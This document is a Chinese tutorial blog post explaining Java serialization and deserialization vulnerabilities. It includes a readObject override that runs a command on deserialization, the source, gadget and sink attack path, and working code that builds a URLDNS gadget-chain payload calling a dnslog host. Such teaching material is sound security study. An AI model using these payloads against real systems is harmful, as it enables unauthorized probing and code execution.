文章目录
前言
因为之前学过php反序列化,所以对于反序列化的概念还是有了解的,现在学一下java反序列化和php反序列化有什么不同。
1.序列化与反序列化
1.1序列化和反序列化是什么
(1). Java序列化就是指把Java对象转换为字节序列的过程。
(2).Java反序列化就是指把字节序列恢复为Java对象的过程。
1.2序列化和反序列化用什么作用
在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。
反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。
核心作用就是对象状态的保存和重建。
1.3序列化的好处
和php序列化一样,当用户在向服务端传输数据时,这个数据仅仅会存在这一瞬间,如何将想要传输的数据持久的保存下来?
这就要用到反序列化了,反序列化能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中,并且利用序列化实现远程通信,在网络上传送对象的字节序列。
2.序列化与反序列化代码实现
只有实现了 Serializable 和 Externalizable 接口的类的对象才能被序列化和反序列化。
- java.io.ObjectOutputStream 代表对象输出流,它的 writeObject() 方法可对参数指定的对象进行序列化,把得到的字节序列写到一个目标输出流中
- java.io.ObjectInputStream 代表对象输入流,它的 readObject() 方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回
Person.java
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "My name's " + name +"\nI am " + age +" old";
}
}
SerializationTest.java
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("f0njl",22);
System.out.println(person);
serialize(person);
}
}
UnserializeTest.java
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
序列化运行结果:
可以发现,当序列化的时候,执行了Person类中的toString函数,想一下为什么。
例如System.out.println(xx)
,括号里面的“xx”如果不是String类型的话,就自动调用该类的toString()
方法,和php中的toString方法非常相似。
对象序列化包括如下步骤:
- 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流
- 通过对象输出流的 writeObject() 方法将对象进行序列化
对象反序列化的步骤如下:
- 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流
- 通过对象输入流的 readObject() 方法将字节序列反序列化为对象
3.反序列化漏洞浅析及其类型
Java提供了可选的自定义序列化。通过重写writeObject与readObject方法,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。
(1) 入口类的 readObject
直接调用危险方法
首先我们来尝试一下重写readobject方法来达到命令执行的效果。
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "My name's " + name +"\nI am " + age +" old";
}
private void readObject(ObjectInputStream ois) throws Exception,ClassCastException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
先将Person序列化,然后再发序列化,会发现弹出了一个计算器。
如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化,而如果目标类中定义了私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用目标类指定的writeObject或readObject方法来实现,我们在目标类中重写了readObject,所以当反序列化时,会进入readObject进而执行命令。
(2) 入口参数中包含可控类,该类有危险方法,readObject
时调用。
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject
时调用。
(4) 构造函数/静态代码块等类加载时隐式执行。
(2) 、(3)中的情况和php反序列化类似,java反序列化漏洞也是由一个入口开始向目标类跳转。
4. 产生漏洞的攻击路线
攻击前提:继承 Serializable
入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)
找到入口类之后要找调用链 gadget chain 相同名称、相同类型
执行类 sink (RCE SSRF 写文件等等)比如 exec
这种函数
5.URLDNS链子理解
首先,每一个链子的起点应该都是能够被序列化的类方法。
下边是大师傅们的利用连
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
跟一下。
首先可以看到HashMap继承了Serializable接口,在HashMap.java中找到readObject函数。
发现了链子中的Hash.putVal,在putval中又可以调用hash方法。
然后如果key不为空,那末会调用key中的hashCode方法。
然后就是在URL中找到了hashCode方法。
如果hashCode等于-1,会到handler.hashCode。跟进hashCode。
到了URLStreamHandler中的hashCode方法。
URLStreamHandler中的hashCode方法有一个getHostAddress,然后就u.getHostAddress,一次dns解析。
注意:jdk版本过高会报错。
SerializationTest.java
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("feng.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
// 这里不要发起请求
URL url = new URL("http://q6filp.dnslog.cn");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url, 1234);
hashmap.put(url, 1);
hashcodefile.set(url, -1);
serialize(hashmap);
}
}
然后进行序列化和反序列化即可。
成功触发dns解析。
总结
java反序列化过程是先把文件序列化写入一个bin文件内,然后又在其他位置进行反序列化,入口函数一般为readObject。
一般都会去找jdk自带的公共库文件及库函数,然后进行文件之间的跳转,直到达到自己的目的为止。